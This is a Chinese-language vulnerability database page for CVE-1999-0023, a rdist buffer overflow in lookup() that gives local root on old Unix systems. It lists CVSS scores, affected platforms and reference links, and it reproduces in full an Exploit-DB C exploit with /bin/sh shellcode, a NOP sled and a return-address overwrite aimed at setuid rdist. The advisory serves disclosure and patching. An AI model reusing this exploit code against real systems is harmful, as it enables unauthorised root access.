CVE-1999-0023
CVSS7.2
发布时间 :1996-07-24 00:00:00
修订时间 :2008-09-09 08:33:35
NMCOE    

[原文]Local user gains root privileges via buffer overflow in rdist, via lookup() function.


[CNNVD]Rdist权限许可和访问控制漏洞(CNNVD-199607-006)

        Rdist存在缓冲区溢出漏洞。本地用户可以借助lookup()函数获取根权限。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:sunos:5.4Sun Microsystems Solaris 2.4
cpe:/o:sun:solaris:1.1.1a
cpe:/o:sun:solaris:2.5
cpe:/o:sco:internet_faststart:1.0
cpe:/o:sco:unixware:2.1
cpe:/o:sun:solaris:1.1.2
cpe:/a:inet:inet:5.01
cpe:/o:sun:solaris:2.5.1
cpe:/o:sun:sunos:4.1.3u1Sun SunOS 4.1.3u1
cpe:/o:freebsd:freebsd:2.0.5FreeBSD 2.0.5
cpe:/o:sun:sunos:4.1.4Sun SunOS 4.1.4
cpe:/o:freebsd:freebsd:2.1.0FreeBSD 2.1.0
cpe:/o:sun:solaris:2.4
cpe:/o:sco:tcp_ip:1.2.1
cpe:/o:sco:unixware:2.0
cpe:/a:inet:inet:6.01
cpe:/o:freebsd:freebsd:2.2FreeBSD 2.2
cpe:/o:sco:openserver:5.0.2
cpe:/o:sco:open_desktop:2.0
cpe:/o:sun:sunos:5.3Sun Microsystems Solaris 2.3
cpe:/o:sco:openserver:5.0
cpe:/o:sun:solaris:2.3
cpe:/o:sco:open_desktop:3.0
cpe:/o:sco:tcp_ip:1.2.0
cpe:/o:freebsd:freebsd:2.0FreeBSD 2.0
cpe:/o:ibm:aix:4.1IBM AIX 4.1
cpe:/o:ibm:aix:3.2IBM AIX 3.2
cpe:/o:sun:solaris:1.1
cpe:/o:sun:sunos:5.5.1Sun Microsystems Solaris 2.5.1
cpe:/o:sun:sunos:4.1.3Sun SunOS 4.1.3
cpe:/o:ibm:aix:4.2IBM AIX 4.2
cpe:/o:sco:openserver:2.0
cpe:/o:sun:sunos:5.5Sun Microsystems Solaris 2.5
cpe:/o:bsdi:bsd_os

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0023
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0023
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199607-006
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

Rdist权限许可和访问控制漏洞
高危 缓冲区溢出
1996-07-24 00:00:00 2006-02-20 00:00:00
本地  
        Rdist存在缓冲区溢出漏洞。本地用户可以借助lookup()函数获取根权限。

- 公告与补丁

        

- 漏洞信息 (19106)

BSDI BSD/OS <= 2.1,FreeBSD <= 2.1,IBM AIX <= 4.2,SGI IRIX <= 6.4,Sun SunOS <= 4.1.3 (EDBID:19106)
linux local
1996-07-03 Verified
0 Jeff Uphoff
N/A [点击下载]
source: http://www.securityfocus.com/bid/129/info

Rdist is a program to maintain identical copies of files over multiple hosts. It preserves the owner, group, mode, and mtime of files if possible and can update programs that are executing. Rdist reads commands from distfile to direct the updating of files and/or directories.

Rdist has over time been notorious for security vulnerabilities. In this instance it is vulnerable to a buffer overrun from user supplied data. Given that rdist is setuid root in some enviroments the attacker can excecute this buffer overflow with the resulting commands they craft being executed as root.

/* cut here Brian Mitchell (brian@saturn.net) */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET 50
#define BUFFER_SIZE 256

long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

/* so you dont have to disassemble it, here is the asm code:
start:
jmp endofk0dez
realstart:
popl %esi
leal (%esi), %ebx
movl %ebx, 0x0b(%esi)
xorl %edx, %edx
movl %edx, 7(%esi)
movl %edx, 0x0f(%esi)
movl %edx, 0x14(%esi)
movb %edx, 0x19(%esi)
xorl %eax, %eax
movb $59, %al
leal 0x0b(%esi), %ecx
movl %ecx, %edx
pushl %edx
pushl %ecx
pushl %ebx
pushl %eax
jmp bewm
endofk0dez:
call realstart
.byte '/', 'b', 'i', 'n', '/', 's', 'h'
.byte 1, 1, 1, 1
.byte 2, 2, 2, 2
.byte 3, 3, 3, 3
bewm:
.byte 0x9a, 4, 4, 4, 4, 7, 4
*/

char execshell[] =
"\xeb\x23"
"\x5e"
"\x8d\x1e"
"\x89\x5e\x0b"
"\x31\xd2"
"\x89\x56\x07"
"\x89\x56\x0f"
"\x89\x56\x14"
"\x88\x56\x19"
"\x31\xc0"
"\xb0\x3b"
"\x8d\x4e\x0b"
"\x89\xca"
"\x52"
"\x51"
"\x53"
"\x50"
"\xeb\x18"
"\xe8\xd8\xff\xff\xff"
"/bin/sh"
"\x01\x01\x01\x01"
"\x02\x02\x02\x02"
"\x03\x03\x03\x03"
"\x9a\x04\x04\x04\x04\x07\x04";

int i;
int ofs = DEFAULT_OFFSET;

/* if we have a argument, use it as offset, else use default */
if(argc == 2)
ofs = atoi(argv[1]);
/* print the offset in use */
printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
/* write the return addresses
**
** return address 4
** ebp 4
** register unsigned n 0
** register char *cp 0
** register struct syment *s 0
**
** total: 8
*/
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
}
/* cut here */		

- 漏洞信息

8715
Multiple Vendor rdist errstring lookup() Function Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

- 时间线

1996-07-01 Unknow
Unknow Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站